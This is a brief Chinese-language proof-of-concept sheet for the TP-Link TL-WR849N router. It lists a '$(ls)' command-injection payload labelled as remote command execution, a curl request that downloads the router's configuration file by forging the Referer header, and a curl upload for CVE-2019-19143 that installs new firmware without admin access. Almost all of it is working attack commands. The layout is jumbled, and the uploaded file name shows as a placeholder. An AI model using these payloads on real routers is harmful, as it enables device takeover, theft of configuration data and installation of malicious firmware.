Payload: "$(ls)"
TP LINK TL-WR849N - 远程命令执行 PoC
Payload:
curl -X GET -H "Referer: http://192.168.0.1/mainFrame.htm" http://192.168.0.1/cgi/conf.bin
无需访问管理面板即可上传新固件
[CVE-2019-19143] 固件更新:无需访问管理面板即可上传新固件
Payload:
curl -i -X POST -H "Content-Type: multipart/form-data" -H "Referer: http://192.168.0.2/mainFrame.htm" -F [email protected] http://192.168.0.2/cgi/confup